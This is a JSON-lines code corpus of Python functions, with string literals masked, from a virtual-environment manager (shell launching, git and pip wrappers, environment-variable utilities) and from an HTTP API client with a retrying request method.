{"signature": "def run_global_hook(hook_name, *args):", "body": "hook_finder = HookFinder(get_global_hook_path())<EOL>hook = hook_finder(hook_name)<EOL>if hook:<EOL><INDENT>hook.run(*args)<EOL><DEDENT>", "docstring": "Attempt to run a global hook by name with args", "id": "f8346:m1"}
{"signature": "def run(*args, **kwargs):", "body": "kwargs.setdefault('<STR_LIT>', os.environ)<EOL>kwargs.setdefault('<STR_LIT>', True)<EOL>try:<EOL><INDENT>subprocess.check_call('<STR_LIT:U+0020>'.join(args), **kwargs)<EOL>return True<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>logger.debug('<STR_LIT>'.format(args))<EOL>return False<EOL><DEDENT>", "docstring": "Returns True if successful, False if failure", "id": "f8347:m0"}
{"signature": "def cmd():", "body": "if platform == '<STR_LIT>':<EOL><INDENT>return ['<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>elif platform == '<STR_LIT>':<EOL><INDENT>ppid = os.getppid()<EOL>ppid_cmdline_file = '<STR_LIT>'.format(ppid)<EOL>try:<EOL><INDENT>with open(ppid_cmdline_file) as f:<EOL><INDENT>cmd = f.read()<EOL><DEDENT>if cmd.endswith('<STR_LIT:\\x00>'):<EOL><INDENT>cmd = cmd[:-<NUM_LIT:1>]<EOL><DEDENT>cmd = cmd.split('<STR_LIT:\\x00>')<EOL>return cmd + [binpath('<STR_LIT>')]<EOL><DEDENT>except:<EOL><INDENT>cmd = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cmd = '<STR_LIT>'<EOL><DEDENT>return [cmd, binpath('<STR_LIT>')]<EOL>", "docstring": "Return a command to launch a subshell", "id": "f8347:m1"}
{"signature": "def prompt(prefix=None, colored=True):", "body": "if platform == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'.format(prefix)<EOL><DEDENT>else:<EOL><INDENT>if colored:<EOL><INDENT>return (<EOL>'<STR_LIT>'  <EOL>'<STR_LIT>'  <EOL>'<STR_LIT>'  <EOL>).format(prefix)<EOL><DEDENT>return '<STR_LIT>'.format(prefix)<EOL><DEDENT>", "docstring": "Generate a prompt with a given prefix\n\n    linux/osx: [prefix] user@host cwd $\n          win: [prefix] cwd:", "id": "f8347:m2"}
{"signature": "def launch(prompt_prefix=None):", "body": "if prompt_prefix:<EOL><INDENT>os.environ['<STR_LIT>'] = prompt(prompt_prefix)<EOL><DEDENT>subprocess.call(cmd(), env=os.environ.data)<EOL>", "docstring": "Launch a subshell", "id": "f8347:m3"}
{"signature": "def find_repos(self, depth=<NUM_LIT:10>):", "body": "repos = []<EOL>for root, subdirs, files in walk_dn(self.root, depth=depth):<EOL><INDENT>if '<STR_LIT>' in root:<EOL><INDENT>continue<EOL><DEDENT>if '<STR_LIT>' in subdirs:<EOL><INDENT>repos.append(root)<EOL><DEDENT><DEDENT>return repos<EOL>", "docstring": "Get all git repositories within this environment", "id": "f8349:c0:m1"}
{"signature": "def clone(self, repo_path, destination, branch=None):", "body": "logger.debug('<STR_LIT>' + repo_path)<EOL>if not destination.startswith(self.env_path):<EOL><INDENT>destination = unipath(self.env_path, destination)<EOL><DEDENT>if branch:<EOL><INDENT>return shell.run('<STR_LIT>', '<STR_LIT>', repo_path, '<STR_LIT>', branch,<EOL>'<STR_LIT>', '<STR_LIT>', destination)<EOL><DEDENT>return shell.run('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', repo_path, destination)<EOL>", "docstring": "Clone a repository to a destination relative to envrionment root", "id": "f8349:c0:m2"}
{"signature": "def pull(self, repo_path, *args):", "body": "logger.debug('<STR_LIT>' + repo_path)<EOL>if not repo_path.startswith(self.env_path):<EOL><INDENT>repo_path = unipath(self.env_path, repo_path)<EOL><DEDENT>return shell.run('<STR_LIT>', '<STR_LIT>', *args, **{'<STR_LIT>': repo_path})<EOL>", "docstring": "Clone a repository to a destination relative to envrionment root", "id": "f8349:c0:m3"}
{"signature": "def wheel(self, package):", "body": "shell.run(self.pip_path, '<STR_LIT>', package)<EOL>", "docstring": "pip wheel it", "id": "f8349:c1:m1"}
{"signature": "def install(self, package):", "body": "logger.debug('<STR_LIT>' + package)<EOL>shell.run(self.pip_path, '<STR_LIT>',  package)<EOL>", "docstring": "Install a python package using pip", "id": "f8349:c1:m2"}
{"signature": "def upgrade(self, package):", "body": "logger.debug('<STR_LIT>' + package)<EOL>shell.run(self.pip_path, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', package)<EOL>shell.run(self.pip_path, '<STR_LIT>', package)<EOL>", "docstring": "Update a python package using pip", "id": "f8349:c1:m3"}
{"signature": "def is_git_repo(path):", "body": "if path.startswith('<STR_LIT>') or path.startswith('<STR_LIT>'):<EOL><INDENT>return True<EOL><DEDENT>if os.path.exists(unipath(path, '<STR_LIT>')):<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Returns True if path is a git repository.", "id": "f8350:m0"}
{"signature": "def is_home_environment(path):", "body": "home = unipath(os.environ.get('<STR_LIT>', '<STR_LIT>'))<EOL>path = unipath(path)<EOL>return path.startswith(home)<EOL>", "docstring": "Returns True if path is in CPENV_HOME", "id": "f8350:m1"}
{"signature": "def is_environment(path):", "body": "return os.path.exists(unipath(path, '<STR_LIT>'))<EOL>", "docstring": "Returns True if path refers to an environment", "id": "f8350:m2"}
{"signature": "def is_module(path):", "body": "return os.path.exists(unipath(path, '<STR_LIT>'))<EOL>", "docstring": "Returns True if path refers to a module", "id": "f8350:m3"}
{"signature": "def is_system_path(path):", "body": "return '<STR_LIT:\\\\>' in path or '<STR_LIT:/>' in path<EOL>", "docstring": "Returns True if path is a system path", "id": "f8350:m4"}
{"signature": "def is_redirecting(path):", "body": "candidate = unipath(path, '<STR_LIT>')<EOL>return os.path.exists(candidate) and os.path.isfile(candidate)<EOL>", "docstring": "Returns True if path contains a .cpenv file", "id": "f8350:m5"}
{"signature": "def redirect_to_env_paths(path):", "body": "with open(path, '<STR_LIT:r>') as f:<EOL><INDENT>redirected = f.read()<EOL><DEDENT>return shlex.split(redirected)<EOL>", "docstring": "Get environment path from redirect file", "id": "f8350:m6"}
{"signature": "def expandpath(path):", "body": "return os.path.abspath(os.path.expandvars(os.path.expanduser(path)))<EOL>", "docstring": "Returns an absolute expanded path", "id": "f8350:m7"}
{"signature": "def unipath(*paths):", "body": "return os.path.normpath(expandpath(os.path.join(*paths)))<EOL>", "docstring": "Like os.path.join but also expands and normalizes path parts.", "id": "f8350:m8"}
{"signature": "def binpath(*paths):", "body": "package_root = os.path.dirname(__file__)<EOL>return os.path.normpath(os.path.join(package_root, '<STR_LIT>', *paths))<EOL>", "docstring": "Like os.path.join but acts relative to this packages bin path.", "id": "f8350:m9"}
{"signature": "def ensure_path_exists(path, *args):", "body": "if os.path.exists(path):<EOL><INDENT>return<EOL><DEDENT>os.makedirs(path, *args)<EOL>", "docstring": "Like os.makedirs but keeps quiet if path already exists", "id": "f8350:m10"}
{"signature": "def walk_dn(start_dir, depth=<NUM_LIT:10>):", "body": "start_depth = len(os.path.split(start_dir))<EOL>end_depth = start_depth + depth<EOL>for root, subdirs, files in os.walk(start_dir):<EOL><INDENT>yield root, subdirs, files<EOL>if len(os.path.split(root)) >= end_depth:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Walk down a directory tree. Same as os.walk but allows for a depth limit\nvia depth argument", "id": "f8350:m11"}
{"signature": "def walk_up(start_dir, depth=<NUM_LIT:20>):", "body": "root = start_dir<EOL>for i in xrange(depth):<EOL><INDENT>contents = os.listdir(root)<EOL>subdirs, files = [], []<EOL>for f in contents:<EOL><INDENT>if os.path.isdir(os.path.join(root, f)):<EOL><INDENT>subdirs.append(f)<EOL><DEDENT>else:<EOL><INDENT>files.append(f)<EOL><DEDENT><DEDENT>yield root, subdirs, files<EOL>parent = os.path.dirname(root)<EOL>if parent and not parent == root:<EOL><INDENT>root = parent<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Walk up a directory tree", "id": "f8350:m13"}
{"signature": "def touch(filepath):", "body": "with open(filepath, '<STR_LIT:a>'):<EOL><INDENT>os.utime(filepath, None)<EOL><DEDENT>", "docstring": "Touch the given filepath", "id": "f8350:m14"}
{"signature": "def preprocess_dict(d):", "body": "out_env = {}<EOL>for k, v in d.items():<EOL><INDENT>if not type(v) in PREPROCESSORS:<EOL><INDENT>raise KeyError('<STR_LIT>'.format(type(v)))<EOL><DEDENT>out_env[k] = PREPROCESSORS[type(v)](v)<EOL><DEDENT>return out_env<EOL>", "docstring": "Preprocess a dict to be used as environment variables.\n\n:param d: dict to be processed", "id": "f8350:m18"}
{"signature": "def _join_dict(d, k, v):", "body": "d[k] = v[platform]<EOL>", "docstring": "Add a dict value to an env dict", "id": "f8350:m19"}
{"signature": "def _join_str(d, k, v):", "body": "d[k] = str(v)<EOL>", "docstring": "Add a string value to env dict", "id": "f8350:m20"}
{"signature": "def _join_seq(d, k, v):", "body": "if k not in d:<EOL><INDENT>d[k] = list(v)<EOL><DEDENT>elif isinstance(d[k], list):<EOL><INDENT>for item in v:<EOL><INDENT>if item not in d[k]:<EOL><INDENT>d[k].insert(<NUM_LIT:0>, item)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(d[k], string_types):<EOL><INDENT>v.append(d[k])<EOL>d[k] = v<EOL><DEDENT>", "docstring": "Add a sequence value to env dict", "id": "f8350:m21"}
{"signature": "def join_dicts(*dicts):", "body": "out_dict = {}<EOL>for d in dicts:<EOL><INDENT>for k, v in d.iteritems():<EOL><INDENT>if not type(v) in JOINERS:<EOL><INDENT>raise KeyError('<STR_LIT>'.format(type(v)))<EOL><DEDENT>JOINERS[type(v)](out_dict, k, v)<EOL><DEDENT><DEDENT>return out_dict<EOL>", "docstring": "Join a bunch of dicts", "id": "f8350:m22"}
{"signature": "def env_to_dict(env, pathsep=os.pathsep):", "body": "out_dict = {}<EOL>for k, v in env.iteritems():<EOL><INDENT>if pathsep in v:<EOL><INDENT>out_dict[k] = v.split(pathsep)<EOL><DEDENT>else:<EOL><INDENT>out_dict[k] = v<EOL><DEDENT><DEDENT>return out_dict<EOL>", "docstring": "Convert a dict containing environment variables into a standard dict.\nVariables containing multiple values will be split into a list based on\nthe argument passed to pathsep.\n\n:param env: Environment dict like os.environ.data\n:param pathsep: Path separator used to split variables", "id": "f8350:m23"}
{"signature": "def dict_to_env(d, pathsep=os.pathsep):", "body": "out_env = {}<EOL>for k, v in d.iteritems():<EOL><INDENT>if isinstance(v, list):<EOL><INDENT>out_env[k] = pathsep.join(v)<EOL><DEDENT>elif isinstance(v, string_types):<EOL><INDENT>out_env[k] = v<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'.format(type(v)))<EOL><DEDENT><DEDENT>return out_env<EOL>", "docstring": "Convert a python dict to a dict containing valid environment variable\nvalues.\n\n:param d: Dict to convert to an env dict\n:param pathsep: Path separator used to join lists(default os.pathsep)", "id": "f8350:m24"}
{"signature": "def expand_envvars(env):", "body": "out_env = {}<EOL>for k, v in env.iteritems():<EOL><INDENT>out_env[k] = Template(v).safe_substitute(env)<EOL><DEDENT>for k, v in out_env.items():<EOL><INDENT>out_env[k] = Template(v).safe_substitute(out_env)<EOL><DEDENT>return out_env<EOL>", "docstring": "Expand all environment variables in an environment dict\n\n:param env: Environment dict", "id": "f8350:m25"}
{"signature": "def get_store_env_tmp():", "body": "tempdir = tempfile.gettempdir()<EOL>temp_name = '<STR_LIT>'<EOL>temp_path = unipath(tempdir, temp_name.format(random.getrandbits(<NUM_LIT:9>)))<EOL>if not os.path.exists(temp_path):<EOL><INDENT>return temp_path<EOL><DEDENT>else:<EOL><INDENT>return get_store_env_tmp()<EOL><DEDENT>", "docstring": "Returns an unused random filepath.", "id": "f8350:m26"}
{"signature": "def store_env(path=None):", "body": "path = path or get_store_env_tmp()<EOL>env_dict = yaml.safe_dump(os.environ.data, default_flow_style=False)<EOL>with open(path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(env_dict)<EOL><DEDENT>return path<EOL>", "docstring": "Encode current environment as yaml and store in path or a temporary\n    file. Return the path to the stored environment.", "id": "f8350:m27"}
{"signature": "def restore_env(env_dict):", "body": "if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>sys.prefix = sys.real_prefix<EOL>del(sys.real_prefix)<EOL><DEDENT>replace_osenviron(expand_envvars(dict_to_env(env_dict)))<EOL>", "docstring": "Set environment variables in the current python process from a dict\n    containing envvars and values.", "id": "f8350:m28"}
{"signature": "def restore_env_from_file(env_file):", "body": "with open(env_file, '<STR_LIT:r>') as f:<EOL><INDENT>env_dict = yaml.load(f.read())<EOL><DEDENT>restore_env(env_dict)<EOL>", "docstring": "Restore the current environment from an environment stored in a yaml\n    yaml file.\n\n    :param env_file: Path to environment yaml file.", "id": "f8350:m29"}
{"signature": "def set_env(*env_dicts):", "body": "old_env_dict = env_to_dict(os.environ.data)<EOL>new_env_dict = join_dicts(old_env_dict, *env_dicts)<EOL>new_env = dict_to_env(new_env_dict)<EOL>replace_osenviron(expand_envvars(new_env))<EOL>", "docstring": "Set environment variables in the current python process from a dict\n    containing envvars and values.", "id": "f8350:m30"}
{"signature": "def set_env_from_file(env_file):", "body": "with open(env_file, '<STR_LIT:r>') as f:<EOL><INDENT>env_dict = yaml.load(f.read())<EOL><DEDENT>if '<STR_LIT>' in env_dict:<EOL><INDENT>env_dict = env_dict['<STR_LIT>']<EOL><DEDENT>set_env(env_dict)<EOL>", "docstring": "Restore the current environment from an environment stored in a yaml\n    yaml file.\n\n    :param env_file: Path to environment yaml file.", "id": "f8350:m31"}
{"signature": "@property<EOL><INDENT>def site_path(self):<DEDENT>", "body": "if platform == '<STR_LIT>':<EOL><INDENT>return unipath(self.path, '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>py_ver = '<STR_LIT>'.format(sys.version[:<NUM_LIT:3>])<EOL>return unipath(self.path, '<STR_LIT>', py_ver, '<STR_LIT>')<EOL>", "docstring": "Path to environments site-packages", "id": "f8351:c1:m6"}
{"signature": "@property<EOL><INDENT>def bin_path(self):<DEDENT>", "body": "if platform == '<STR_LIT>':<EOL><INDENT>return unipath(self.path, '<STR_LIT>')<EOL><DEDENT>return unipath(self.path, '<STR_LIT>')<EOL>", "docstring": "Path to environments bin", "id": "f8351:c1:m7"}
{"signature": "def _pre_activate(self):", "body": "if '<STR_LIT>' not in os.environ:<EOL><INDENT>if platform == '<STR_LIT>':<EOL><INDENT>os.environ['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>os.environ['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>clean_env_path = utils.get_store_env_tmp()<EOL>os.environ['<STR_LIT>'] = clean_env_path<EOL>utils.store_env(path=clean_env_path)<EOL><DEDENT>else:<EOL><INDENT>utils.restore_env_from_file(os.environ['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Prior to activating, store everything necessary to deactivate this\nenvironment.", "id": "f8351:c1:m8"}
{"signature": "def _activate(self):", "body": "old_syspath = set(sys.path)<EOL>site.addsitedir(self.site_path)<EOL>site.addsitedir(self.bin_path)<EOL>new_syspaths = set(sys.path) - old_syspath<EOL>for path in new_syspaths:<EOL><INDENT>sys.path.remove(path)<EOL>sys.path.insert(<NUM_LIT:1>, path)<EOL><DEDENT>if not hasattr(sys, '<STR_LIT>'):<EOL><INDENT>sys.real_prefix = sys.prefix<EOL><DEDENT>sys.prefix = self.path<EOL>", "docstring": "Do some serious mangling to the current python environment...\nThis is necessary to activate an environment via python.", "id": "f8351:c1:m9"}
{"signature": "def remove(self):", "body": "self.run_hook('<STR_LIT>')<EOL>utils.rmtree(self.path)<EOL>self.run_hook('<STR_LIT>')<EOL>", "docstring": "Remove this environment", "id": "f8351:c1:m11"}
{"signature": "@property<EOL><INDENT>def command(self):<DEDENT>", "body": "cmd = self.config.get('<STR_LIT>', None)<EOL>if cmd is None:<EOL><INDENT>return<EOL><DEDENT>cmd = cmd[platform]<EOL>return cmd['<STR_LIT:path>'], cmd['<STR_LIT:args>']<EOL>", "docstring": "Command used to launch this application module", "id": "f8351:c2:m2"}
{"signature": "def create(name_or_path=None, config=None):", "body": "<EOL>if utils.is_system_path(name_or_path):<EOL><INDENT>path = unipath(name_or_path)<EOL><DEDENT>else:<EOL><INDENT>path = unipath(get_home_path(), name_or_path)<EOL><DEDENT>if os.path.exists(path):<EOL><INDENT>raise OSError('<STR_LIT>'.format(path))<EOL><DEDENT>env = VirtualEnvironment(path)<EOL>utils.ensure_path_exists(env.path)<EOL>if config:<EOL><INDENT>if utils.is_git_repo(config):<EOL><INDENT>Git('<STR_LIT>').clone(config, env.path)<EOL><DEDENT>else:<EOL><INDENT>shutil.copy2(config, env.config_path)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(env.config_path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(defaults.environment_config)<EOL><DEDENT><DEDENT>utils.ensure_path_exists(env.hook_path)<EOL>utils.ensure_path_exists(env.modules_path)<EOL>env.run_hook('<STR_LIT>')<EOL>virtualenv.create_environment(env.path)<EOL>if not utils.is_home_environment(env.path):<EOL><INDENT>EnvironmentCache.add(env)<EOL>EnvironmentCache.save()<EOL><DEDENT>try:<EOL><INDENT>env.update()<EOL><DEDENT>except:<EOL><INDENT>utils.rmtree(path)<EOL>logger.debug('<STR_LIT>')<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>env.run_hook('<STR_LIT>')<EOL><DEDENT>return env<EOL>", "docstring": "Create a virtual environment. You can pass either the name of a new\n    environment to create in your CPENV_HOME directory OR specify a full path\n    to create an environment outisde your CPENV_HOME.\n\n    Create an environment in CPENV_HOME::\n\n        >>> cpenv.create('myenv')\n\n    Create an environment elsewhere::\n\n        >>> cpenv.create('~/custom_location/myenv')\n\n    :param name_or_path: Name or full path of environment\n    :param config: Environment configuration including dependencies etc...", "id": "f8352:m0"}
{"signature": "def remove(name_or_path):", "body": "r = resolve(name_or_path)<EOL>r.resolved[<NUM_LIT:0>].remove()<EOL>EnvironmentCache.discard(r.resolved[<NUM_LIT:0>])<EOL>EnvironmentCache.save()<EOL>", "docstring": "Remove an environment or module\n\n    :param name_or_path: name or path to environment or module", "id": "f8352:m1"}
{"signature": "def resolve(*args):", "body": "r = Resolver(*args)<EOL>r.resolve()<EOL>return r<EOL>", "docstring": "Resolve a list of virtual environment and module names then return\n    a :class:`Resolver` instance.", "id": "f8352:m2"}
{"signature": "def activate(*args):", "body": "r = resolve(*args)<EOL>r.activate()<EOL>return get_active_env()<EOL>", "docstring": "Activate a virtual environment by name or path. Additional args refer\n    to modules residing in the specified environment that you would\n    also like to activate.\n\n    Activate an environment::\n\n        >>> cpenv.activate('myenv')\n\n    Activate an environment with some modules::\n\n        >>> cpenv.activate('myenv', 'maya', 'mtoa', 'vray_for_maya')\n\n    :param name_or_path: Name or full path of environment\n    :param modules: Additional modules to activate\n    :returns: :class:`VirtualEnv` instance of active environment", "id": "f8352:m3"}
{"signature": "def launch(module_name, *args, **kwargs):", "body": "r = resolve(module_name)<EOL>r.activate()<EOL>mod = r.resolved[<NUM_LIT:0>]<EOL>mod.launch(*args, **kwargs)<EOL>", "docstring": "Activates and launches a module\n\n    :param module_name: name of module to launch", "id": "f8352:m4"}
{"signature": "def deactivate():", "body": "if '<STR_LIT>' not in os.environ or '<STR_LIT>' not in os.environ:<EOL><INDENT>raise EnvironmentError('<STR_LIT>')<EOL><DEDENT>utils.restore_env_from_file(os.environ['<STR_LIT>'])<EOL>", "docstring": "Deactivates an environment by restoring all env vars to a clean state\n    stored prior to activating environments", "id": "f8352:m5"}
{"signature": "def get_home_path():", "body": "home = unipath(os.environ.get('<STR_LIT>', '<STR_LIT>'))<EOL>home_modules = unipath(home, '<STR_LIT>')<EOL>if not os.path.exists(home):<EOL><INDENT>os.makedirs(home)<EOL><DEDENT>if not os.path.exists(home_modules):<EOL><INDENT>os.makedirs(home_modules)<EOL><DEDENT>return home<EOL>", "docstring": ":returns: your home path...CPENV_HOME env var OR ~/.cpenv", "id": "f8352:m6"}
{"signature": "def get_module_paths():", "body": "module_paths = []<EOL>cpenv_modules_path = os.environ.get('<STR_LIT>', None)<EOL>if cpenv_modules_path:<EOL><INDENT>module_paths.extend(cpenv_modules_path.split(os.pathsep))<EOL><DEDENT>module_paths.append(unipath(get_home_path(), '<STR_LIT>'))<EOL>return module_paths<EOL>", "docstring": ":returns: paths in CPENV_MODULES env var and CPENV_HOME/modules", "id": "f8352:m7"}
{"signature": "def get_active_env():", "body": "active = os.environ.get('<STR_LIT>', None)<EOL>if active:<EOL><INDENT>return VirtualEnvironment(active)<EOL><DEDENT>", "docstring": ":returns: the active environment as a :class:`VirtualEnvironment`\n    instance or None if one is not active.", "id": "f8352:m8"}
{"signature": "def get_environment(name_or_path):", "body": "r = resolve(name_or_path)<EOL>return r.resolved[<NUM_LIT:0>]<EOL>", "docstring": "Get a :class:`VirtualEnvironment` by name or path.", "id": "f8352:m9"}
{"signature": "def get_environments():", "body": "environments = set()<EOL>cwd = os.getcwd()<EOL>for d in os.listdir(cwd):<EOL><INDENT>if d == '<STR_LIT>':<EOL><INDENT>environments.add(VirtualEnvironment(cwd))<EOL>continue<EOL><DEDENT>path = unipath(cwd, d)<EOL>if utils.is_environment(path):<EOL><INDENT>environments.add(VirtualEnvironment(path))<EOL><DEDENT><DEDENT>home = get_home_path()<EOL>for d in os.listdir(home):<EOL><INDENT>path = unipath(home, d)<EOL>if utils.is_environment(path):<EOL><INDENT>environments.add(VirtualEnvironment(path))<EOL><DEDENT><DEDENT>for env in EnvironmentCache:<EOL><INDENT>environments.add(env)<EOL><DEDENT>return sorted(list(environments), key=lambda x: x.name)<EOL>", "docstring": "Returns a list of all known virtual environments as\n    :class:`VirtualEnvironment` instances. This includes those in CPENV_HOME\n    and any others that are cached(created by the current user or activated\n    once by full path.)", "id": "f8352:m10"}
{"signature": "def get_modules():", "body": "modules = set()<EOL>cwd = os.getcwd()<EOL>for d in os.listdir(cwd):<EOL><INDENT>if d == '<STR_LIT>':<EOL><INDENT>modules.add(Module(cwd))<EOL><DEDENT>path = unipath(cwd, d)<EOL>if utils.is_module(path):<EOL><INDENT>modules.add(Module(cwd))<EOL><DEDENT><DEDENT>module_paths = get_module_paths()<EOL>for module_path in module_paths:<EOL><INDENT>for d in os.listdir(module_path):<EOL><INDENT>path = unipath(module_path, d)<EOL>if utils.is_module(path):<EOL><INDENT>modules.add(Module(path))<EOL><DEDENT><DEDENT><DEDENT>return sorted(list(modules), key=lambda x: x.name)<EOL>", "docstring": "Returns a list of available modules.", "id": "f8352:m11"}
{"signature": "def get_active_modules():", "body": "modules = os.environ.get('<STR_LIT>', None)<EOL>if modules:<EOL><INDENT>modules = modules.split(os.pathsep)<EOL>return [Module(module) for module in modules]<EOL><DEDENT>return []<EOL>", "docstring": ":returns: a list of active :class:`Module` s or []", "id": "f8352:m12"}
{"signature": "def add_active_module(module):", "body": "modules = set(get_active_modules())<EOL>modules.add(module)<EOL>new_modules_path = os.pathsep.join([m.path for m in modules])<EOL>os.environ['<STR_LIT>'] = str(new_modules_path)<EOL>", "docstring": "Add a module to CPENV_ACTIVE_MODULES environment variable", "id": "f8352:m13"}
{"signature": "def rem_active_module(module):", "body": "modules = set(get_active_modules())<EOL>modules.discard(module)<EOL>new_modules_path = os.pathsep.join([m.path for m in modules])<EOL>os.environ['<STR_LIT>'] = str(new_modules_path)<EOL>", "docstring": "Remove a module from CPENV_ACTIVE_MODULES environment variable", "id": "f8352:m14"}
{"signature": "def get_info(pyfile):", "body": "info = {}<EOL>info_re = re.compile(r\"<STR_LIT>\")<EOL>with open(pyfile, '<STR_LIT:r>') as f:<EOL><INDENT>for line in f.readlines():<EOL><INDENT>match = info_re.search(line)<EOL>if match:<EOL><INDENT>info[match.group(<NUM_LIT:1>)] = match.group(<NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>return info<EOL>", "docstring": "Retrieve dunder values from a pyfile", "id": "f8353:m0"}
{"signature": "def __init__(self, url=\"<STR_LIT>\"):", "body": "self._api_suffix = '<STR_LIT>'<EOL>self._url = url<EOL>self._debug = False<EOL>self._verify_ssl_certificate = True<EOL>self.auth = None<EOL>", "docstring": "Constructor.\n\n:param url: (optional) URL of the server\n:type url: string", "id": "f8357:c0:m0"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "return self._url<EOL>", "docstring": "Return the URL of the server.\n\n:returns: URL of the server\n:rtype: string", "id": "f8357:c0:m1"}
{"signature": "@url.setter<EOL><INDENT>def url(self, value):<DEDENT>", "body": "self._url = value<EOL>", "docstring": "Set the URL of the server.\n\n:param value: URL of the server\n:type value: string", "id": "f8357:c0:m2"}
{"signature": "@property<EOL><INDENT>def full_url(self):<DEDENT>", "body": "return self._url + self._api_suffix<EOL>", "docstring": "Return the full URL of the server including the API suffix.\n\n:returns: Full URL of the server\n:rtype: string", "id": "f8357:c0:m3"}
{"signature": "@property<EOL><INDENT>def debug(self):<DEDENT>", "body": "return self._debug<EOL>", "docstring": "Return the debug state of this driver.\n\n:returns: debug state\n:rtype: bool", "id": "f8357:c0:m4"}
{"signature": "@debug.setter<EOL><INDENT>def debug(self, value):<DEDENT>", "body": "self._debug = value<EOL>", "docstring": "Set the debug state of this driver.\n\n:param value: debug state\n:type value: bool", "id": "f8357:c0:m5"}
{"signature": "@property<EOL><INDENT>def verify_ssl_certificate(self):<DEDENT>", "body": "return self._verify_ssl_certificate<EOL>", "docstring": "Return whether the SSL certificate will be verified.\n\n:returns: True if the SSL certificate will be verified\n:rtype: bool", "id": "f8357:c0:m6"}
{"signature": "@verify_ssl_certificate.setter<EOL><INDENT>def verify_ssl_certificate(self, value):<DEDENT>", "body": "self._verify_ssl_certificate = value<EOL>", "docstring": "Set whether the SSL certificate will be verified.\n\n:param value: If True, the SSL certificate will be verified\n:type value: bool", "id": "f8357:c0:m7"}
{"signature": "@retry(wait_exponential_multiplier=<NUM_LIT:1000>,<EOL>wait_exponential_max=<NUM_LIT>,<EOL>stop_max_attempt_number=<NUM_LIT:5>)<EOL><INDENT>def request(self, method, parameters=None, file_payload=None):<DEDENT>", "body": "method_url = self.full_url + method<EOL>response = None<EOL>try:<EOL><INDENT>if file_payload:<EOL><INDENT>response = requests.put(method_url,<EOL>data=file_payload.read(),<EOL>params=parameters,<EOL>allow_redirects=True,<EOL>verify=self._verify_ssl_certificate,<EOL>auth=self.auth)<EOL><DEDENT>else:<EOL><INDENT>response = requests.post(method_url,<EOL>params=parameters,<EOL>allow_redirects=True,<EOL>verify=self._verify_ssl_certificate,<EOL>auth=self.auth)<EOL><DEDENT><DEDENT>except requests.exceptions.SSLError:<EOL><INDENT>exception = pydas.exceptions.SSLVerificationFailed(<EOL>'<STR_LIT>')<EOL>exception.method = method<EOL>exception.request = response.request<EOL>raise exception<EOL><DEDENT>except requests.exceptions.ConnectionError:<EOL><INDENT>exception = pydas.exceptions.RequestError(<EOL>'<STR_LIT>')<EOL>exception.method = method<EOL>if response is not None:<EOL><INDENT>exception.request = response.request<EOL><DEDENT>raise exception<EOL><DEDENT>status_code = response.status_code<EOL>try:<EOL><INDENT>response.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_code = None<EOL>message = '<STR_LIT>'.format(<EOL>status_code)<EOL>try:<EOL><INDENT>content = response.json()<EOL>if '<STR_LIT:code>' in content:<EOL><INDENT>error_code = int(content['<STR_LIT:code>'])<EOL>message = '<STR_LIT>''<STR_LIT>''<STR_LIT>'.format(status_code, error_code, response.content)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>exception = pydas.exceptions.get_exception_from_status_and_error_codes(status_code,<EOL>error_code,<EOL>message)<EOL>exception.code = error_code<EOL>exception.method = method<EOL>exception.response = response<EOL>raise exception<EOL><DEDENT>try:<EOL><INDENT>content = response.json()<EOL><DEDENT>except ValueError:<EOL><INDENT>exception = pydas.exceptions.ParseError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(status_code, response.content))<EOL>exception.method = method<EOL>exception.response = response<EOL>raise exception<EOL><DEDENT>if '<STR_LIT>' not in content:<EOL><INDENT>exception = pydas.exceptions.ParseError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(status_code, response.content))<EOL>exception.method = method<EOL>raise exception<EOL><DEDENT>if content['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>if '<STR_LIT:code>' in content:<EOL><INDENT>error_code = int(content['<STR_LIT:code>'])<EOL>message = '<STR_LIT>''<STR_LIT>'.format(status_code, error_code, response.content)<EOL><DEDENT>else:<EOL><INDENT>error_code = None<EOL>message = '<STR_LIT>''<STR_LIT>'.format(status_code,<EOL>response.content)<EOL><DEDENT>exception = pydas.exceptions.get_exception_from_status_and_error_codes(status_code,<EOL>error_code,<EOL>message)<EOL>exception.method = method<EOL>exception.response = response<EOL>raise exception<EOL><DEDENT>if '<STR_LIT:data>' not in content:<EOL><INDENT>exception = pydas.exceptions.ParseError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(status_code, response.content))<EOL>exception.method = method<EOL>exception.response = response<EOL>raise exception<EOL><DEDENT>return content['<STR_LIT:data>']<EOL>", "docstring": "Do the generic processing of a request to the server.\n\nIf file_payload is specified, it will be PUT to the server.\n\n:param method: Desired API method\n:type method: string\n:param parameters: (optional) Parameters to pass in the HTTP body\n:type parameters: None | dict[string, string]\n:param file_payload: (optional) File-like object to be sent with the\n    HTTP request\n:type file_payload: None | file | FileIO\n:returns: Dictionary representing the JSON response to the request\n:rtype: dict\n:raises pydas.exceptions.PydasException: if the request failed", "id": "f8357:c0:m8"}
